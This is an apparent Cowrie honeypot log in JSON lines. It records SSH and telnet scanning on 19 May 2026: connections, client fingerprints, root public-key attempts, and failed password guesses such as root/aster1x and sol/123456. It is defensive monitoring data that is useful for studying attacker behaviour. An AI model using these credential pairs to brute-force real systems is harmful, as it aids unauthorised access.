{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:44.534153Z","src_ip":"43.153.104.156","session":"99a309fc9818","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vilas123","message":"login attempt [root/Vilas123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:44.843100Z","src_ip":"43.153.104.156","session":"99a309fc9818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:45.924817Z","src_ip":"43.153.104.156","session":"99a309fc9818","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.85.8.171","src_port":54114,"dst_ip":"10.17.0.5","dst_port":23,"session":"25fd783d33c4","protocol":"telnet","message":"New connection: 47.85.8.171:54114 (10.17.0.5:23) [session: 25fd783d33c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:48.182849Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46054,"dst_ip":"10.17.0.5","dst_port":23,"session":"327f28c39d7b","protocol":"telnet","message":"New connection: 192.119.13.58:46054 (10.17.0.5:23) [session: 327f28c39d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:48.299056Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49876,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7db1fbe946e","protocol":"telnet","message":"New connection: 192.119.13.58:49876 (10.17.0.5:23) [session: f7db1fbe946e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:49.217822Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58454,"dst_ip":"10.17.0.5","dst_port":23,"session":"913d10d6cfaf","protocol":"telnet","message":"New connection: 192.119.13.58:58454 (10.17.0.5:23) [session: 913d10d6cfaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:50.723177Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37820,"dst_ip":"10.17.0.5","dst_port":23,"session":"141ab1619a70","protocol":"telnet","message":"New connection: 192.119.13.58:37820 (10.17.0.5:23) [session: 141ab1619a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:52.650619Z"}
{"eventid":"cowrie.session.closed","duration":55.23867845535278,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:52.795197Z","src_ip":"192.119.13.58","session":"fbae900b1d00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38506,"dst_ip":"10.17.0.5","dst_port":23,"session":"9090c31b3246","protocol":"telnet","message":"New connection: 192.119.13.58:38506 (10.17.0.5:23) [session: 9090c31b3246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:52.858094Z"}
{"eventid":"cowrie.session.closed","duration":5.7304322719573975,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:54.029387Z","src_ip":"192.119.13.58","session":"327f28c39d7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":37926,"dst_ip":"159.203.135.109","dst_port":22,"session":"743c70b3e8dd","protocol":"ssh","message":"New connection: 43.135.182.46:37926 (159.203.135.109:22) [session: 743c70b3e8dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:55.245332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:55.250120Z","src_ip":"43.135.182.46","session":"743c70b3e8dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:55.318720Z","src_ip":"43.135.182.46","session":"743c70b3e8dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aster1x","message":"login attempt [root/aster1x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:55.628814Z","src_ip":"43.135.182.46","session":"743c70b3e8dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:56.701103Z","src_ip":"43.135.182.46","session":"743c70b3e8dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.95501899719238,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:59.167402Z","src_ip":"192.119.13.58","session":"0eeb870e9d43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.228132009506226,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:20:59.951203Z","src_ip":"192.119.13.58","session":"913d10d6cfaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.045387983322144,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:00.209517Z","src_ip":"192.119.13.58","session":"a40754e78ba0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00274085998535,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:03.683911Z","src_ip":"186.195.16.41","session":"1751cf47e89e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36866,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e25210ea2b9","protocol":"telnet","message":"New connection: 192.119.13.58:36866 (10.17.0.5:23) [session: 1e25210ea2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:05.446172Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37450,"dst_ip":"10.17.0.5","dst_port":23,"session":"105d8afe2e08","protocol":"telnet","message":"New connection: 192.119.13.58:37450 (10.17.0.5:23) [session: 105d8afe2e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:05.654576Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44856,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca6b7695ac89","protocol":"telnet","message":"New connection: 192.119.13.58:44856 (10.17.0.5:23) [session: ca6b7695ac89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:07.524422Z"}
{"eventid":"cowrie.session.closed","duration":2.8085570335388184,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:08.254525Z","src_ip":"192.119.13.58","session":"1e25210ea2b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.199076890945435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:10.194978Z","src_ip":"192.119.13.58","session":"f795ce9f2e1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.66491413116455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:13.448793Z","src_ip":"192.119.13.58","session":"78a552785350","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.12.16","src_port":50348,"dst_ip":"10.17.0.5","dst_port":22,"session":"18f2037411a9","protocol":"ssh","message":"New connection: 89.45.12.16:50348 (10.17.0.5:22) [session: 18f2037411a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:16.598830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:16.603974Z","src_ip":"89.45.12.16","session":"18f2037411a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":48970,"dst_ip":"10.17.0.5","dst_port":22,"session":"b563c15a719a","protocol":"ssh","message":"New connection: 80.94.92.184:48970 (10.17.0.5:22) [session: b563c15a719a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:16.614127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:16.722681Z","src_ip":"80.94.92.184","session":"b563c15a719a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:16.743099Z","src_ip":"89.45.12.16","session":"18f2037411a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:16.901067Z","src_ip":"80.94.92.184","session":"b563c15a719a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:34:fb:30:de:3e:f6:a9:a5:77:ab:c3:8a:10:28:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClX/JcykabAvTXTpvFQ84j89G0/i5bNLhKPj67hEV27D0D9nWqdZjt2aBlpxN8YE73QQgtWHCUvMXMjqIn5kzmaLzHXUyacm2Keii8oJ2/lAqOO1cOoQIHySec3Hko4qPnrQfJC0+fjp09DvWWNfLoCsFWhqJ96lWODPikKtBEzDW0Gg6vIdvcCFiNj8Pmq4NYB8vKccYT7DYgm3DveNCJgz36VPdTjdu/5LRgDvTtwZKAGLSsx1Na/xNljgo/HattVR42JvKNATAwho/RjM5sDrUba0pYxpqz9kPHdmYGXwAAFTvijSr8gwfarikNhHJ1qZ5jWOg76gRCXXllh04f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:34:fb:30:de:3e:f6:a9:a5:77:ab:c3:8a:10:28:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:17.381977Z","src_ip":"89.45.12.16","session":"18f2037411a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:34:fb:30:de:3e:f6:a9:a5:77:ab:c3:8a:10:28:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClX/JcykabAvTXTpvFQ84j89G0/i5bNLhKPj67hEV27D0D9nWqdZjt2aBlpxN8YE73QQgtWHCUvMXMjqIn5kzmaLzHXUyacm2Keii8oJ2/lAqOO1cOoQIHySec3Hko4qPnrQfJC0+fjp09DvWWNfLoCsFWhqJ96lWODPikKtBEzDW0Gg6vIdvcCFiNj8Pmq4NYB8vKccYT7DYgm3DveNCJgz36VPdTjdu/5LRgDvTtwZKAGLSsx1Na/xNljgo/HattVR42JvKNATAwho/RjM5sDrUba0pYxpqz9kPHdmYGXwAAFTvijSr8gwfarikNhHJ1qZ5jWOg76gRCXXllh04f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:17.386826Z","src_ip":"89.45.12.16","session":"18f2037411a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.262348651885986,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:17.396912Z","src_ip":"192.119.13.58","session":"9cc5387d85a6","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:fb:f1:06:b1:d3:78:af:0d:a9:1a:b8:85:a1:08:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDhxeehF8KU0O2NTGY06p1EThsHukErshbbbOx/Hc5/REg7QpHtV875SheugPjzHnMjlgZa5b9VkOpRvH8wtqxb1WNEMmNLvrMJcY9QoVDHD4B5CSNvA9IgXYO1UU+60npM9TiNXwhrY4MzrzCZ09IraSwliF4t6DV0CeLIiW8IR3e2fR9Uzqb3y4f+N++CQsH8aceytxRec8RTtLZkdpmpvNeecUFP4gT097sk16wKbgd3rwU4a7xnWgV9vZq9iEuiox2nOBocPr3grA0nKQX/NVkS3UonMrPrDeaRr/tMzDnR49ffwnFIVRFxT5Wbz3FnjYgK+Jq4KfdXLELxTOCBw5IaHVwbMbQZUAW26nhbH8GBR4udjf8mOtJj4rcg6EVU0UFE5Bt1WdBMKI4sFh2pVEQ3uhDpCsRZb0uIMTH17Q8bobt9/qWqth/DEz0yO1U5CUxvh3qq2LLi+Yg+cxPpNMqn+7XeazsTP2oF+2VWNVRUVT/toS5qGILQpjQyDME=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:fb:f1:06:b1:d3:78:af:0d:a9:1a:b8:85:a1:08:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:17.523673Z","src_ip":"89.45.12.16","session":"18f2037411a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:fb:f1:06:b1:d3:78:af:0d:a9:1a:b8:85:a1:08:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDhxeehF8KU0O2NTGY06p1EThsHukErshbbbOx/Hc5/REg7QpHtV875SheugPjzHnMjlgZa5b9VkOpRvH8wtqxb1WNEMmNLvrMJcY9QoVDHD4B5CSNvA9IgXYO1UU+60npM9TiNXwhrY4MzrzCZ09IraSwliF4t6DV0CeLIiW8IR3e2fR9Uzqb3y4f+N++CQsH8aceytxRec8RTtLZkdpmpvNeecUFP4gT097sk16wKbgd3rwU4a7xnWgV9vZq9iEuiox2nOBocPr3grA0nKQX/NVkS3UonMrPrDeaRr/tMzDnR49ffwnFIVRFxT5Wbz3FnjYgK+Jq4KfdXLELxTOCBw5IaHVwbMbQZUAW26nhbH8GBR4udjf8mOtJj4rcg6EVU0UFE5Bt1WdBMKI4sFh2pVEQ3uhDpCsRZb0uIMTH17Q8bobt9/qWqth/DEz0yO1U5CUxvh3qq2LLi+Yg+cxPpNMqn+7XeazsTP2oF+2VWNVRUVT/toS5qGILQpjQyDME=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:17.528504Z","src_ip":"89.45.12.16","session":"18f2037411a9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:4a:ef:30:83:8b:f2:88:98:7c:5a:06:d8:76:66:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQY8hteBaJANWi+9kKKXTy9FXALmFuePlG1BG18ZEIWAjKBVpDGRobkUj4G4XoC/aqVAFwuviENAGTHSq2p2S9iQGF3gQYayFWO2rHZR7yk6Jus8kX43J9JsEXXDZiyrFV9qbjvZTcGUJHm/l942wl3cz56uCIVwVKcnu86O+I+xmPt71kYoF7wx+88f9bXKgNY7x+20hnyiHBvPs3Yy7ttNrJoHRIRxhOckgloVzqW/1iyXE81lFqOh+HlLjxmlQlZPs1Hak+6I8Z/3g20Ofr4IQCoC7ybBFbTxTlqdIo1lYkvtZjZY1Nksqc9BAp/MoGb8Qdn1hm5DevEt/8xFvlZqoM0yyHHeMnMeE4EGwdsp+su1Ftm4SiteDapY+VW0aauB9yS8J1hfc2mSKbHvfrW2Y9oJVW0LarcQjjkVzgGSS2W7+uy445O2xlsX6QCqkH/pG5NI8wvz8swaVLSJZvI0QUX+P1KuMYZ58mXqOK5VkkGyywu4iQPJohbDATtYkNPl2VILwuiEDnPpiIDoQJE3cQYoWqgVLG/eYy8/FkpdeePeZyllOw3bAxPQ5yVzZ+WbLTOknTcYlPSYzt//2HbgQiOjxYPWViY4teFCGwsk6Q8tABitAL8Ri7Kx5MGgaclnVNCc3BXWms8g7pjbEA0jTQd4k23E87+FYW3508rw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:4a:ef:30:83:8b:f2:88:98:7c:5a:06:d8:76:66:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:17.663014Z","src_ip":"89.45.12.16","session":"18f2037411a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:4a:ef:30:83:8b:f2:88:98:7c:5a:06:d8:76:66:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQY8hteBaJANWi+9kKKXTy9FXALmFuePlG1BG18ZEIWAjKBVpDGRobkUj4G4XoC/aqVAFwuviENAGTHSq2p2S9iQGF3gQYayFWO2rHZR7yk6Jus8kX43J9JsEXXDZiyrFV9qbjvZTcGUJHm/l942wl3cz56uCIVwVKcnu86O+I+xmPt71kYoF7wx+88f9bXKgNY7x+20hnyiHBvPs3Yy7ttNrJoHRIRxhOckgloVzqW/1iyXE81lFqOh+HlLjxmlQlZPs1Hak+6I8Z/3g20Ofr4IQCoC7ybBFbTxTlqdIo1lYkvtZjZY1Nksqc9BAp/MoGb8Qdn1hm5DevEt/8xFvlZqoM0yyHHeMnMeE4EGwdsp+su1Ftm4SiteDapY+VW0aauB9yS8J1hfc2mSKbHvfrW2Y9oJVW0LarcQjjkVzgGSS2W7+uy445O2xlsX6QCqkH/pG5NI8wvz8swaVLSJZvI0QUX+P1KuMYZ58mXqOK5VkkGyywu4iQPJohbDATtYkNPl2VILwuiEDnPpiIDoQJE3cQYoWqgVLG/eYy8/FkpdeePeZyllOw3bAxPQ5yVzZ+WbLTOknTcYlPSYzt//2HbgQiOjxYPWViY4teFCGwsk6Q8tABitAL8Ri7Kx5MGgaclnVNCc3BXWms8g7pjbEA0jTQd4k23E87+FYW3508rw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:17.668380Z","src_ip":"89.45.12.16","session":"18f2037411a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:17.683889Z","src_ip":"103.210.22.17","session":"5cfa0f775c5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:17.711378Z","src_ip":"80.94.92.184","session":"b563c15a719a","protocol":"ssh"}
